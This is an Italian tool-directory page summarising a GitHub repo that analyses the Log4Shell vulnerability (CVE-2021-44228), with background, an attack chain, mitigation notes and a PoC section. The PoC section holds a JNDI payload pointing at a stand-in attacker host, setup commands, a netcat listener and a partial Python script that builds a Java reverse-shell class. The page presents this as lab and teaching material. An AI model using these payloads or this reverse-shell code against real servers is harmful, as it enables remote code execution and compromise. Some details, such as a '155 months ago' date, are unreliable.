Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2021-44228 — Analisi educativa di CVE-2021-44228 (Log4Shell) con script PoC, analisi del vettore d'attacco e linee guida per la mitigazione per comprendere e testare la vulnerabilità critica RCE in Apache Log4j. | Kitploit
Strumenti/GitHubGitHub/kaleth4/cve-2021-44228
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubkaleth4/cve-2021-44228

CVE-2021-44228

Analisi educativa di CVE-2021-44228 (Log4Shell) con script PoC, analisi del vettore d'attacco e linee guida per la mitigazione per comprendere e testare la vulnerabilità critica RCE in Apache Log4j.

Vedi Repository
155 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

🛡️ CVE-2021-44228: Analisi di Log4Shell - La Vulnerabilità che ha Rivoluzionato la Sicurezza Java

Impatto Critico (CVSS 10.0) | Scoperta nel 2021, questa falla in Apache Log4j permette l'esecuzione remota di codice (RCE) e colpisce milioni di sistemi globali. Ancora oggi, è un promemoria chiave per la cybersecurity!

Severity: Critical
Affected: Apache Log4j 2.x
Discovered: 2021


🔍 Cos'è Log4Shell?

CVE-2021-44228, conosciuta come Log4Shell, è una vulnerabilità critica di Esecuzione Remota di Codice (RCE) nella libreria di logging Apache Log4j 2. Questa falla permette ad attaccanti malintenzionati di eseguire codice arbitrario su server vulnerabili semplicemente inviando una stringa di testo appositamente costruita che l'applicazione registra.

  • Perché è così pericolosa? Log4j è onnipresente nelle applicazioni Java, inclusi servizi cloud, app web e software aziendale. Il suo sfruttamento non richiede autenticazione e può diffondersi facilmente attraverso input utente come header HTTP, form o chat.
  • Scoperta da: Chen Zhaojun di Alibaba Cloud Security (novembre 2021). Divulgata pubblicamente il 9 dicembre 2021, scatenando allerta globali da CISA, NCSC e altri.
  • Impatto globale: Ha colpito centinaia di milioni di dispositivi. Aziende come Minecraft, Twitter e Cisco sono state colpite. Sono stati osservati attacchi massivi: >100 al minuto al picco.

Log4Shell non è sola; ha portato a CVE-2021-45046 (RCE/DoS), CVE-2021-45105 (DoS) e CVE-2021-4104 (RCE in Log4j 1.2).


💀 Vettore d'Attacco e Funzionamento

Il nucleo del problema è la gestione non sicura di JNDI (Java Naming and Directory Interface) in Log4j, che risolve lookup remoti senza sanitizzazione.

Esempio di Payload Base

${jndi:ldap://atacante.com:1389/Exploit}

Come funziona:

  1. L'attaccante inietta il payload in un messaggio registrato (es. User-Agent in HTTP).
  2. Log4j rileva ${...} e attiva un lookup JNDI.
  3. Il server vulnerabile si connette al server LDAP/RMI/DNS dell'attaccante.
  4. Viene scaricata ed eseguita una classe Java maliziosa (es. shell inversa).

Protocolli sfruttabili: LDAP, RMI, DNS, IIOP, ecc. Ciò abilita minacce come:

  • Coinmining: Furto di risorse per minare criptovalute.
  • Ransomware: Cifratura dei dati (es. Khonsari, Night Sky).
  • DoS/DDoS: Sovraccarico dei sistemi (es. tramite botnet Mirai).
  • Movimento laterale: Strumenti come Cobalt Strike per escalation.

Catena di Infezione (Kill Chain):

  1. Riconoscimento: Scansione di porte e header per rilevare Log4j.
  2. Iniezione: Invio del payload in input non sanificati.
  3. Risoluzione: JNDI contatta il server attaccante.
  4. Esecuzione: Il codice malizioso viene caricato ed eseguito (es. download di malware come Kinsing).
  5. Persistenza: Esfiltrazione di credenziali (/etc/passwd, /etc/shadow) o installazione di backdoor.

📈 Dettagli Tecnici

CaratteristicaDettaglio
Punteggio CVSS v3.110.0 (CRITICO) 🔥 - Massima gravità possibile.
Versioni AffetteLog4j 2.0-beta9 a 2.14.1 (incluse derivazioni fino a 2.16.0 per sub-CVE).
Causa RadiceSostituzione di messaggi JNDI senza validazione; lookup remoti abilitati.
VettoriRemoto, non autenticato; colpisce Java 8+ in app web/cloud.
Prodotti ColpitiApache Struts, Solr, Druid, Elasticsearch, Dubbo, VMware vCenter, e altri.
SfruttamentoFacile: PoC pubblici su GitHub; non necessita privilegi.

Statistiche di Impatto:

  • 90% degli ambienti cloud esposti inizialmente.

  • Sfruttata da gruppi statali (Cina, Corea del Nord) e cybercriminali.
  • Patch iniziale: Log4j 2.15.0 (dicembre 2021), ma incompleta; versione sicura: 2.17.1+.

🚀 Prova di Concetto (PoC) Educativa

⚠️ Avvertenza: Questo contenuto è esclusivamente a scopo educativo e per test autorizzati. Non usarlo su sistemi senza permesso esplicito. Sfruttare vulnerabilità senza autorizzazione è illegale (es. viola leggi come CFAA negli USA). Esegui sempre pentesting etico.

Basato su repository pubblici come kozmer/log4j-shell-poc, ecco una panoramica semplificata di un PoC in ambienti controllati (es. Docker/VM locale).

Passaggi Generali per Simulare (Ambiente Vulnerabile)

  1. Clona il Repo: git clone https://github.com/kozmer/log4j-shell-poc.git && cd log4j-shell-poc/
  2. Costruisci Docker: docker build -t log4j-vuln . && docker run --network host -p 8080:8080 log4j-vuln
  3. Installa Java Vulnerabile (es. JDK 8u202): Scarica da mirror affidabili, estrai e configura il percorso (es. /usr/bin/jdk1.8.0_202).
  4. Modifica Script PoC (poc.py): Regola i path di Java e gli IP. Esempio snippet corretto (versione semplificata):
#!/usr/bin/env python3
import argparse
from colorama import Fore, init
import subprocess
import threading
from pathlib import Path
import os
from http.server import HTTPServer, SimpleHTTPRequestHandler

CUR_FOLDER = Path(__file__).parent.resolve()

def generate_payload(userip: str, lport: int) -> None:
    program = f"""
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {{
    public Exploit() throws Exception {{
        String host="{userip}";
        int port={lport};
        String cmd="/bin/sh";
        Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
        Socket s = new Socket(host, port);
        // ... (código de shell inversa simplificado)
    }}
}}
"""
    p = CUR_FOLDER / "Exploit.java"
    try:
        p.write_text(program)
        subprocess.run([f"{CUR_FOLDER}/jdk1.8.0_202/bin/javac", str(p)])
        print(Fore.GREEN + '[+] Clase Exploit generada exitosamente')
    except Exception as e:
        print(Fore.RED + f'[-] Error: {e}')

# ... (funciones para LDAP server y web server similares al original)

def main():
    init(autoreset=True)
    print(Fore.BLUE + "[!] PoC Educativa para CVE-2021-44228 - ¡Úsala solo en labs!")
    # Argumentos: --userip localhost --webport 8000 --lport 9001
    # Lanza LDAP, web server y genera payload

if __name__ == "__main__":
    main()
  1. Esegui: python3 poc.py --userip 127.0.0.1 --webport 8000 --lport 9001
  2. Listener (Netcat): nc -lvnp 9001 - Monitora la shell inversa.
  3. Inietta Payload: Nell'app vulnerabile (http://localhost:8080), usa ${jndi:ldap://127.0.0.1:1389/a} in un campo di login/ricerca.
  4. Verifica: Connessione in Netcat; i log nel terminale mostrano la risoluzione JNDI.

PoC Semplice in Python (Listener + Exploit): Per demo rapide, usa questo duo di script (esegui prima il listener).

listener.py:

import socket
import threading

def start_listener(ip, port):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((ip, port))
    server.listen(1)
    print(f"[*] Listener en {ip}:{port}...")
    conn, addr = server.accept()
    print(f"[+] Conexión de {addr}")
    data = conn.recv(4096)
    print(data.decode('utf-8', errors='ignore'))
    conn.close()

if __name__ == "__main__":
    threading.Thread(target=start_listener, args=("0.0.0.0", 1389)).start()
    input("Presiona Enter para detener...\n")  # Mantiene vivo
Scarica lo strumento